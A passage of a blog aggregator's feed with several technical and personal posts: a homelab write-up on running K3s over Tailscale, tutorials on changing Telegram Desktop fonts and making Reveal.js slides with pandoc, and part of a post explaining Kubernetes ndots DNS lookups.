<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>server {</span></span>
<span class="giallo-l"><span>        server_name ip.mrkaran.dev;</span></span>
<span class="giallo-l"><span>        # reverse proxy</span></span>
<span class="giallo-l"><span>        location / {</span></span>
<span class="giallo-l"><span>                proxy_pass http://100.96.239.6:30506; # tailscale IP, connecting to NodePort service</span></span>
<span class="giallo-l"><span>                include fluff/proxy.conf;</span></span>
<span class="giallo-l"><span>        }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p><code>30506</code> port is exposed by the <code>Service</code> object backing up the pods for that application. Since a <code>NodePort</code> service is available on any K8s node, you can give the Tailscale IP for any node and the routing will be handled by <code>kube-proxy</code>.</p>
<h2 id="challenges-faced">Challenges faced<a class="zola-anchor" href="#challenges-faced" aria-label="Anchor link for: challenges-faced">#</a></h2>
<h3 id="mesh-or-mess">Mesh or mess<a class="zola-anchor" href="#mesh-or-mess" aria-label="Anchor link for: mesh-or-mess">#</a></h3>
<p>Setting all of this up didn’t come without its own challenges or hurdles. Right off the bat, the first problem was that I was seeing really high latencies from my RPi node to DO node through Tailscale. Now, since both the nodes are physically in Bangalore and they are connecting to each other (or that’s what I had presumed), I didn’t expect latencies to be as high as 500-600ms. Bollocks!</p>
<p>Eventually, I’d figured thanks to my super restrictive rules on the firewall of DO node, I had blocked all inbound UDP connection. That means NAT hole punching through STUN is simply not possible. In such cases, Tailscale forwards all packets to an encrypted TURN server(called DERP - Designated Encrypted Relay for Packets), which basically are TCP encrypted relays. Tailscale manages this network of DERPs and the one I got connected to was somewhere in the USA.</p>
<p>Bottom line, I was all pumped up to talk to a DO node from my RPi node but as it <em>turns</em> out (no pun intended) my packets were flowing through the USA! Ah so bad. Anyway, opening up UDP from the Tailscale subnet, fixed the issue and latencies were back to being sub 10ms. Yay!</p>
<h3 id="overlay-over-an-overlay">Overlay over an overlay<a class="zola-anchor" href="#overlay-over-an-overlay" aria-label="Anchor link for: overlay-over-an-overlay">#</a></h3>
<p>Next up, were problems with K3s networking from the DO node to RPi node. The DO node was in a <code>NotReady</code> state because the agent couldn’t reach the server:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Apr</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 14</span><span style="color: light-dark(#032F62, #96D0FF);"> 09:00:33</span><span style="color: light-dark(#032F62, #96D0FF);"> hydra-control</span><span style="color: light-dark(#032F62, #96D0FF);"> k3s[19746]:</span><span style="color: light-dark(#032F62, #96D0FF);"> I0414</span><span style="color: light-dark(#032F62, #96D0FF);"> 09:00:33.306650</span><span style="color: light-dark(#005CC5, #6CB6FF);">   19746</span><span style="color: light-dark(#032F62, #96D0FF);"> log.go:172]</span><span style="color: light-dark(#032F62, #96D0FF);"> http:</span><span style="color: light-dark(#032F62, #96D0FF);"> TLS</span><span style="color: light-dark(#032F62, #96D0FF);"> handshake</span><span style="color: light-dark(#032F62, #96D0FF);"> error</span><span style="color: light-dark(#032F62, #96D0FF);"> from</span><span style="color: light-dark(#032F62, #96D0FF);"> 100.97.222.106:51516:</span><span style="color: light-dark(#032F62, #96D0FF);"> read</span><span style="color: light-dark(#032F62, #96D0FF);"> tcp</span><span style="color: light-dark(#032F62, #96D0FF);"> 100.96.239.6:6443</span><span>-</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#032F62, #96D0FF);">100.97.222.106:51516:</span><span style="color: light-dark(#032F62, #96D0FF);"> read:</span><span style="color: light-dark(#032F62, #96D0FF);"> connection</span><span style="color: light-dark(#032F62, #96D0FF);"> reset</span><span style="color: light-dark(#032F62, #96D0FF);"> by</span><span style="color: light-dark(#032F62, #96D0FF);"> peer</span></span></code></pre>
<p>Through some trial and error and reading the <a rel="external" href="https://rancher.com/docs/k3s/latest/en/networking/">docs</a>, I figured that <code>flannel</code> is running as a CNI in <code>k3s</code>. Now the problem is flannel itself is an overlay network. But… Tailscale already is an overlay network (Wireguard) so the packets are not being routed correctly and being dropped halfway in the master node (I am guessing the DNAT/SNAT translation botched up here).</p>
<p>The trick was to just <a rel="external" href="https://github.com/mr-karan/hydra/blob/master/pi/roles/k3s-control/templates/k3s-control.service.j2#L13">change</a> flannel backend to run in the host namespace only. That solved the above issue for me.</p>
<p>However, I still had one more issue. The DO node’s <strong>public</strong> IP was being advertised, while the agent was running on Tailscale network interface so the master was never able to reach the agent. Similarly, when the agent tried to communicate with the server, the private IP of the node was being advertised.
Setting the <code>--node-external-ip &lt;tailscale-ip&gt;</code> in <code>k3s</code> config seemed to have fixed the problem.</p>
<p>Now all of the nodes in the cluster had proper Tailscale IPs advertised and the node went to <code>Ready</code> state, at last!</p>
<h3 id="who-let-the-dns-out">Who let the DNS out<a class="zola-anchor" href="#who-let-the-dns-out" aria-label="Anchor link for: who-let-the-dns-out">#</a></h3>
<p>So, I’ve a chicken and egg problem in my setup. Since my <code>laptop</code> runs a Tailscale agent and whenever I boot up my systemm, <code>Tailscale</code> attempts to posts logs to <code>log.tailsclae.io</code> and <strong>fails</strong> to start if it cannot. The problem here is who resolves the DNS for me?</p>
<p>I run a local DNS server with <a rel="external" href="https://coredns.io/">CoreDNS</a> forwarding my queries to Adguard. Now if I can’t reach Adguard (since Tailscale agent hasn’t initialised), how am I supposed to resolve <code>log.tailscale.io</code>? I did what any sane guy would do, write a simple <em>hacky</em> bash script:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#!</span><span style="color: light-dark(#6A737D, #768390);">/bin/bash</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> chattr</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/resolv.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">nameserver 1.1.1.1</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/resolv.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">changed dns server to 1.1.1.1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> tailscale</span><span style="color: light-dark(#032F62, #96D0FF);"> up</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">nameserver 127.0.0.1</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/resolv.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">echo</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">changed dns server back to 127.0.0.1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> chattr</span><span style="color: light-dark(#032F62, #96D0FF);"> +i</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/resolv.conf</span></span></code></pre>
<p>Yes, it’s quite insane. Also, I’ve not been able to figure out how to stop <code>NetworkManager</code> from changing my <code>/etc/resolv.conf</code> so I rely on a hack (documented in <a rel="external" href="https://wiki.archlinux.org/index.php/Domain_name_resolution#Overwriting_of_/etc/resolv.conf">Arch official docs</a>), to <code>lock</code> the file so any process cannot modify it. Quirky, but works!</p>
<h3 id="storage">Storage<a class="zola-anchor" href="#storage" aria-label="Anchor link for: storage">#</a></h3>
<p>Unfortunately, I don’t have any external HDD/SSD so I am postponing running any stateful workloads till I get one soon (whenever lockdown gets over in my area). I plan to deploy an NFS server so I can run stateful workloads across any node and have redundancy in form of cloud backups. I’ve also heard cool things about <a rel="external" href="https://github.com/longhorn/longhorn">Longhorn</a> but unfortunately, it doesn’t have <a rel="external" href="https://github.com/longhorn/longhorn/issues/6">ARM support</a>.</p>
<h2 id="final-thoughts">Final Thoughts<a class="zola-anchor" href="#final-thoughts" aria-label="Anchor link for: final-thoughts">#</a></h2>
<p>Well, I am quite stoked by my current setup right now. Learnt a bunch of cool things around NAT traversal, zero-trust networking, realised the old days of LAN were so much better (not that I am that old to have experienced, my first internet connection was rather broadband at home, not even dial-up). Tailscale opens up a lot of new opportunities for corporate VPNs and it is something definitely to watch out for as they continue improving the product.</p>
<p>Also, I was super elated when <a rel="external" href="https://twitter.com/bradfitz">bradfitz</a> himself had commented on my tweet, not gonna lie!</p>
<p>{{&lt; tweet 1249552822674149376 &gt;}}</p>
<h3 id="credits">Credits<a class="zola-anchor" href="#credits" aria-label="Anchor link for: credits">#</a></h3>
<p>First, a major thanks to my friend <a rel="external" href="https://www.saratchandra.in">sarat</a> with whom I pair debugged a lot of the above issues and since he also runs a home server, he was my go-to person to ask doubts!</p>
<p>Here are some links that I collected while setting all of this up and might be useful as references if you’re planning a similar setup!</p>
<ul>
<li><a rel="external" href="https://tailscale.com/blog/how-tailscale-works/">How Tailscale Works</a></li>
<li><a rel="external" href="https://tailscale.com/kb/1015/100.x-addresses">What are these 100.x.y.z addresses?</a></li>
<li><a rel="external" href="https://rancher.com/docs/k3s/latest/en/installation/install-options/server-config/">k3s config reference</a></li>
<li><a rel="external" href="https://bford.info/pub/net/p2pnat/">P2P across NAT</a></li>
<li><a rel="external" href="https://crawshaw.io/blog/remembering-the-lan">Remembering the LAN</a></li>
<li><a rel="external" href="https://app.cloudskew.com/">Cloudskew</a> (wonderful tool for creating architecture diagrams)</li>
</ul>
<p>If you’ve any questions please find me on Twitter <a rel="external" href="https://twitter.com/mrkaran_">@mrkaran</a>. You can find all of the setup on <a rel="external" href="https://github.com/mr-karan/hydra/">GitHub</a>.</p>
<p>Till next time, if we survive the pandemic!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Upgrading from “I love you” to “I respect you”]]></title>
            <link>https://www.prashanthudupa.com/upgrading-from-i-love-you-to-i-respect-you/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/upgrading-from-i-love-you-to-i-respect-you/</guid>
            <pubDate>Mon, 23 Mar 2020 09:40:43 GMT</pubDate>
            <description><![CDATA[14th June 2011 will be an unforgettable day for me. The mid-wife brought our newly born son outside the labour room, wrapped him in a towel and handed him over to me. As I held him for the first time,...]]></description>
            <content:encoded><![CDATA[14th June 2011 will be an unforgettable day for me. The mid-wife brought our newly born son outside the labour room, wrapped him in a towel and handed him over to me. As I held him for the first time,...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Moments</category>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[Webinar on #Unschooling]]></title>
            <link>https://www.prashanthudupa.com/webinar-on-unschooling/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/webinar-on-unschooling/</guid>
            <pubDate>Sat, 14 Mar 2020 13:16:06 GMT</pubDate>
            <description><![CDATA[Nandini, Advay and I were guests on a webinar hosted by Aarohi Life Education about #Unschooling and #OpenLearning. We were asked to share our journey of #Unschooling Advay on the Webinar and be available for open Q&A. Preparing for the...]]></description>
            <content:encoded><![CDATA[Nandini, Advay and I were guests on a webinar hosted by Aarohi Life Education about #Unschooling and #OpenLearning. We were asked to share our journey of #Unschooling Advay on the Webinar and be available for open Q&#38;A. Preparing for the...]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[How to change font in telegram desktop in Linux and Windows]]></title>
            <link>https://ibcomputing.com/change-font-in-telegram-desktop/</link>
            <guid isPermaLink="false">https://ibcomputing.com/change-font-in-telegram-desktop/</guid>
            <pubDate>Tue, 10 Mar 2020 08:59:38 GMT</pubDate>
            <description><![CDATA[Telegram Desktop is a wonderful application to access Telegram in computer. This applications is available for Gnulinux, Windows and Mac. But the main problem of … 
The post How to change font in telegram desktop in Linux and Windows appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<p><a href="https://desktop.telegram.org" data-wpel-link="external" target="_blank" rel="follow external noopener">Telegram Desktop</a> is a wonderful application to access Telegram in computer. This applications is available for Gnulinux, Windows and Mac. But the main problem of Telegram Desktop is that, we cant change default font from the settings. this makes lot of readability issues in so many languages other than Latin based.  Let see how we can Change font in Telegram desktop application using some quick change in the system.</p>
<p>We have to change the font globally because Telegram doesn&#8217;t have the option to change font.</p>
<figure id="attachment_1619" aria-describedby="caption-attachment-1619" style="width: 899px" class="wp-caption aligncenter"><a href="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/03/change_font_Telegram_Desktop.png?ssl=1" data-wpel-link="external" target="_blank" rel="follow external noopener"><img data-recalc-dims="1" loading="lazy" decoding="async" data-attachment-id="1619" data-permalink="https://ibcomputing.com/change-font-in-telegram-desktop/change_font_telegram_desktop/" data-orig-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/03/change_font_Telegram_Desktop.png?fit=899%2C511&amp;ssl=1" data-orig-size="899,511" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="change_font_Telegram_Desktop" data-image-description="" data-image-caption="&lt;p&gt;changed font in Telegram Desktop&lt;/p&gt;
" data-medium-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/03/change_font_Telegram_Desktop.png?fit=300%2C171&amp;ssl=1" data-large-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/03/change_font_Telegram_Desktop.png?fit=899%2C511&amp;ssl=1" class="size-full wp-image-1619" src="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/03/change_font_Telegram_Desktop.png?resize=899%2C511&#038;ssl=1" alt="Telegram Desktop" width="899" height="511" srcset="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/03/change_font_Telegram_Desktop.png?w=899&amp;ssl=1 899w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/03/change_font_Telegram_Desktop.png?resize=300%2C171&amp;ssl=1 300w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/03/change_font_Telegram_Desktop.png?resize=768%2C437&amp;ssl=1 768w" sizes="auto, (max-width: 899px) 100vw, 899px" /></a><figcaption id="caption-attachment-1619" class="wp-caption-text">changed font in Telegram Desktop</figcaption></figure>
<h2>Change font in Telegram desktop application in Gnu-Linux OS</h2>
<p>Create a file at the location ~/.config/fontconfig/fonts.conf</p>
<p>and add the following content to it. It sets default sans-serif font to Meera and serif font to Rachana. change the font name as your wish</p>
<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE fontconfig SYSTEM "fonts.dtd"&gt;
&lt;!— —&gt;
&lt;fontconfig&gt;
&lt;!— Generic name aliasing —&gt;
&lt;alias&gt;
&lt;family&gt;sans-serif&lt;/family&gt;
&lt;prefer&gt;
&lt;family&gt;Meera&lt;/family&gt;
&lt;/prefer&gt;
&lt;/alias&gt;
&lt;alias&gt;
&lt;family&gt;serif&lt;/family&gt;
&lt;prefer&gt;
&lt;family&gt;Rachana&lt;/family&gt;
&lt;/prefer&gt;
&lt;/alias&gt;
&lt;alias&gt;
&lt;family&gt;monospace&lt;/family&gt;
&lt;prefer&gt;
&lt;family&gt;Liberation Mono&lt;/family&gt;
&lt;/prefer&gt;
&lt;/alias&gt;
&lt;/fontconfig&gt;</pre>
<p>then run</p>
<pre> fc-cache -v.</pre>
<p>and restart Telgram Desktop application. this will also change your fonts in all applications like browser.</p>
<h3>In &#8211; Windows Operating System</h3>
<p>Open Registy editor</p>
<p>press Win+R and type <b class="">regedit</b></p>
<p>go to the location given below</p>
<p><strong>HKEY_LOCAL_MACHINE</strong><br />
<strong>SOFTWARE</strong><br />
<strong>Microsoft</strong><br />
<strong>Windows NT</strong><br />
<strong>CurrentVersion</strong><br />
<strong>FontSubstitutes</strong></p>
<p>Change Value of &#8220;MS Shell Dlg 2&#8221; to the font name</p>
<p>I don&#8217;t have a Mac system, if anyone of you know about it add it in comments. This will change the fonts in Telegram Desktop application.</p>
<p>&nbsp;</p>
<p>The post <a href="https://ibcomputing.com/change-font-in-telegram-desktop/" data-wpel-link="internal">How to change font in telegram desktop in Linux and Windows</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>Telegram</category>
            <category>Tutorials</category>
            <category>GNU/Linux</category>
            <category>Windows</category>
        </item>
        <item>
            <title><![CDATA[Create A Simple Presentation using Reveal js and Markdown]]></title>
            <link>https://ibcomputing.com/build-presentations-with-reveal-js-and-markdown/</link>
            <guid isPermaLink="false">https://ibcomputing.com/build-presentations-with-reveal-js-and-markdown/</guid>
            <pubDate>Sat, 22 Feb 2020 06:13:44 GMT</pubDate>
            <description><![CDATA[Presentations are important to share something to others. we have Office software such as Libre office impress, Microsoft Office PowerPoint, google Slides to do this … 
The post Create A Simple Presentation using Reveal js and Markdown appeared first on IB Computing.]]></description>
            <content:encoded><![CDATA[<p>Presentations are important to share something to others. we have Office software such as Libre office impress, Microsoft Office PowerPoint, google Slides to do this task. Today I am going to tell you how you can Build Presentations with Reveal.js and markdown file.</p>
<p><a href="https://revealjs.com" data-wpel-link="external" target="_blank" rel="follow external noopener"><strong>Reveal js</strong></a> is a JavaScript package to create web slides.  official website itself a presentation demo.  it also provides a free online editor to create slides . but it needs an account to start. just go to <a href="https://slides.com/" data-wpel-link="external" target="_blank" rel="follow external noopener">slide.com</a> for making one.  lets see how we can create a web slide using a markdown file.</p>
<h2>Build Presentations with Reveal.js and markdown</h2>
<p><img data-recalc-dims="1" loading="lazy" decoding="async" data-attachment-id="1615" data-permalink="https://ibcomputing.com/build-presentations-with-reveal-js-and-markdown/build-presentations-with-revealjs/" data-orig-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/02/Build-Presentations-with-Revealjs.png?fit=1120%2C630&amp;ssl=1" data-orig-size="1120,630" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="Build Presentations with Reveal.js and markdown" data-image-description="&lt;p&gt;Build Presentations with Reveal.js and markdown&lt;/p&gt;
" data-image-caption="" data-medium-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/02/Build-Presentations-with-Revealjs.png?fit=300%2C169&amp;ssl=1" data-large-file="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/02/Build-Presentations-with-Revealjs.png?fit=1024%2C576&amp;ssl=1" class="aligncenter wp-image-1615 size-large" src="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/02/Build-Presentations-with-Revealjs.png?resize=1024%2C576&#038;ssl=1" alt="Build Presentations with Reveal.js and markdown" width="1024" height="576" srcset="https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/02/Build-Presentations-with-Revealjs.png?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/02/Build-Presentations-with-Revealjs.png?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/02/Build-Presentations-with-Revealjs.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ibcomputing.com/wp-content/uploads/2020/02/Build-Presentations-with-Revealjs.png?w=1120&amp;ssl=1 1120w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></p>
<p><strong>Before we start we have to install the following packages into the system.<br />
</strong></p>
<p>execute these commands to install the packages in Ubuntu. Other operating systems have there own package manager commands.</p>
<pre>git : sudo apt-get install git
pandoc : sudo apt-get install pandoc</pre>
<p><strong>step 1 : Create a Markdown File with headings and list items. an example here</strong></p>
<p>django-intro.md</p>
<pre>% Django Introduction
% Mujeeb Rahman K
% February 09, 2020

# Django

## Why Django
* Django is a Web framework written in Python
* Don't reinvent the wheel.
* 216 K packages in python package index</pre>
<p><strong>step 2 : clone or download Revealjs into the same folder which contains the above markdown file</strong></p>
<pre>git clone https://github.com/hakimel/reveal.js.git</pre>
<p><strong>Step 3 : convert markdown (.md) file to html file using pandoc utility</strong></p>
<pre>pandoc -t revealjs -s -o djangoslide.html django-intro.md -V revealjs-url=./reveal.js</pre>
<p>This will convert md file to html and use reveal js from our current folder. if you don&#8217;t cloned reveal js you can use direct url like below.</p>
<pre>pandoc -t revealjs -s -o djangoslide.html django-intro.md -V revealjs-url=https://revealjs.com</pre>
<p>now we have got a <strong>djangoslide.html</strong> file. just open that file in any browser and see the magic..!! your web slide is ready.  remember that, if you didn&#8217;t download or clone reveal js in same folder the html wont render correctly.</p>
<p>The is a very quick and simple way to create a presentation because it only need very simple utilities like git, pandoc and a simple markdown file. Markdown can be created using a very simple text editor. We have very nice presentation with all the effects. It is html so simply works everywhere.</p>
<p>The post <a href="https://ibcomputing.com/build-presentations-with-reveal-js-and-markdown/" data-wpel-link="internal">Create A Simple Presentation using Reveal js and Markdown</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>Tutorials</category>
            <category>Javascript</category>
            <category>Markdown</category>
            <category>Presentation</category>
            <category>revealjs</category>
        </item>
        <item>
            <title><![CDATA[DNS Lookups in Kubernetes]]></title>
            <link>https://mrkaran.dev/posts/ndots-kubernetes/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/ndots-kubernetes/</guid>
            <pubDate>Sun, 02 Feb 2020 05:27:55 GMT</pubDate>
            <description><![CDATA[One of the primary advantages of deploying workloads in Kubernetes is seamless application discovery. Intra cluster communication becomes easy with the concept of Service which represents a Virtual IP backing a set of Pod IPs. For example, if vanilla service needs to talk to a chocolate service, it can directly use the Virtual IP for chocolate. Now the question is who resolves the DNS query for chocolate and how?
DNS resolution is configured in Kubernetes cluster through CoreDNS. The kubelet configures each Pod’s /etc/resolv.conf to use the coredns pod as the nameserver. You can see the contents of /etc/resolv.conf inside any pod, they’ll look something like:
search hello.svc.cluster.local svc.cluster.local cluster.local
nameserver 10.152.183.10
options ndots:5
This config is used by DNS clients to forward the DNS queries to a DNS server. resolv.conf is the resolver configuration file which has information about:
nameserver : Where the DNS queries are forwarded to. In our case this is the address of CoreDNS service.
search: Represents the search path for a particular domain. Interestingly google.com or mrkaran.dev is not FQDN (fully qualified domain name). A standard convention that most DNS resolvers follow is that if a domain ends with . (representing the root zone), the domain is considered to be FQDN. Some resolvers try to act smart and append the . themselves. So mrkaran.dev. is an FQDN but mrkaran.dev is not.
ndots: This is the most interesting value and is the highlight of this post. ndots represents the threshold value of the number of dots in a query name to consider it as a “fully qualified” domain name. More on this later, as we discover the flow of DNS lookup.

Let’s check what happens when we query for mrkaran.dev in a pod.
$ nslookup mrkaran.dev
Server: 10.152.183.10
Address: 10.152.183.10#53

Non-authoritative answer:
Name: mrkaran.dev
Address: 157.230.35.153
Name: mrkaran.dev
Address: 2400:6180:0:d1::519:6001
For this experiment, I’ve also turned on CoreDNS logging level to all which makes it highly verbose. Let’s look at the logs of coredns pod:
[INFO] 10.1.28.1:35998 - 11131 "A IN mrkaran.dev.hello.svc.cluster.local. udp 53 false 512" NXDOMAIN qr,aa,rd 146 0.000263728s
[INFO] 10.1.28.1:34040 - 36853 "A IN mrkaran.dev.svc.cluster.local. udp 47 false 512" NXDOMAIN qr,aa,rd 140 0.000214201s
[INFO] 10.1.28.1:33468 - 29482 "A IN mrkaran.dev.cluster.local. udp 43 false 512" NXDOMAIN qr,aa,rd 136 0.000156107s
[INFO] 10.1.28.1:58471 - 45814 "A IN mrkaran.dev. udp 29 false 512" NOERROR qr,rd,ra 56 0.110263459s
[INFO] 10.1.28.1:54800 - 2463 "AAAA IN mrkaran.dev. udp 29 false 512" NOERROR qr,rd,ra 68 0.145091744s
Whew. So 2 things piqued my interest here:
The query iterates through all search paths until the answer contains a NOERROR code (which the DNS clients understand and store it as the result). NXDOMAIN simply indicates no record found for that domain name. Since mrkaran.dev isn’t an FQDN (according to ndots=5 setting), the resolver looks at search path and determines the order of query.
A and AAAA records are fired parallelly. This is because single-request option in /etc/resolv.conf has a default configuration to perform parallel IPv4 and IPv6 lookups. You can disable this using single-request option.
Note: glibc can be configured to send these requests sequentially but musl cannot, so Alpine users must take note.
Playing around with ndots#
Let’s play around with ndots a bit more and see how it behaves. The idea is simple, for the DNS client to know whether a domain is an absolute one or not is through this ndots setting. For example, if you query for google simply, how will the DNS client know if this is an absolute domain. If you set ndots as 1, the DNS client will say “oh, google doesn’t have even one 1 dot, let me try going through search list. However, if you query for google.com, the search list will be completely ignored since the query name satisfies the ndots threshold (At least one dot).
We can see this by actually doing it:
$ cat /etc/resolv.conf
options ndots:1
$ nslookup mrkaran
Server: 10.152.183.10
Address: 10.152.183.10#53

** server can't find mrkaran: NXDOMAIN
CoreDNS logs:
[INFO] 10.1.28.1:52495 - 2606 "A IN mrkaran.hello.svc.cluster.local. udp 49 false 512" NXDOMAIN qr,aa,rd 142 0.000524939s
[INFO] 10.1.28.1:59287 - 57522 "A IN mrkaran.svc.cluster.local. udp 43 false 512" NXDOMAIN qr,aa,rd 136 0.000368277s
[INFO] 10.1.28.1:53086 - 4863 "A IN mrkaran.cluster.local. udp 39 false 512" NXDOMAIN qr,aa,rd 132 0.000355344s
[INFO] 10.1.28.1:56863 - 41678 "A IN mrkaran. udp 25 false 512" NXDOMAIN qr,rd,ra 100 0.034629206s
Since mrkaran didn’t specify any . so the search list was used to find the answer.
Note: ndots value is silently capped to 15 and is 5 in Kubernetes as default.
Handling this in Production#
If your application is of the nature that makes a lot of external network calls, the DNS can become a bottleneck in case of heavy traffic since a lot of extra queries are made before the real DNS query is even fired. It’s quite uncommon to see applications appending the root zone in the domain names, but that can be considered as a hack. So instead of using api.twitter.com, you can hardcode your application to include api.twitter.com. which would force the DNS clients to do an authoritative lookup directly on the absolute domain.
Alternatively, since K8s 1.14, the dnsConfig and dnsPolicy feature gates have become stable. So while deploying a pod you can specify ndots setting to something lesser, say 3 or if you want to be really aggressive you can turn it down to 1. The consequences of this will be that every intra-node communication now has to include the full domain. This is one of the classic tradeoffs where you have to choose between performance and portability. If the app doesn’t demand super low latencies, I guess you need not worry about this at all since DNS results are cached internally too.
References#
I got to know about this peculiarity first, in a K8s meetup which I went to, last weekend where the folks mentioned about having to deal with this.
Here are some additional links you can read on the web:
Explainer on why ndots=5 in kubernetes
Great read on how ndots affects application performance
musl and glibc resolver inconsistencies
Note: I’m particularly not using dig in this post. dig apparently automatically adds a . (root zone identifier) to make the domain an FQDN one without even first going through the search path. I’ve mentioned about this briefly in one of my older posts. Nonetheless, it’s quite surprising to see that you need to give a flag to make it behave in what seems to be a standard way.
It’s always DNS, isn’t it ;)#
Fin!
Update#
2020-12-24:
In case you want to play around with ndots and DNS more, I’ve worked on a DNS Client which lets you tweak these params on the fly. Feel free to checkout doggo if interested!]]></description>
            <content:encoded><![CDATA[<p>One of the primary advantages of deploying workloads in Kubernetes is seamless application discovery. Intra cluster communication becomes easy with the concept of <a rel="external" href="https://kubernetes.io/docs/concepts/services-networking/service/">Service</a> which represents a Virtual IP backing a set of Pod IPs. For example, if <code>vanilla</code> service needs to talk to a <code>chocolate</code> service, it can directly use the Virtual IP for <code>chocolate</code>. Now the question is who resolves the DNS query for <code>chocolate</code> and how?</p>
<p>DNS resolution is configured in Kubernetes cluster through <a rel="external" href="https://coredns.io/">CoreDNS</a>. The kubelet configures each Pod’s <code>/etc/resolv.conf</code> to use the coredns pod as the <code>nameserver</code>. You can see the contents of <code>/etc/resolv.conf</code> inside any pod, they’ll look something like:</p>
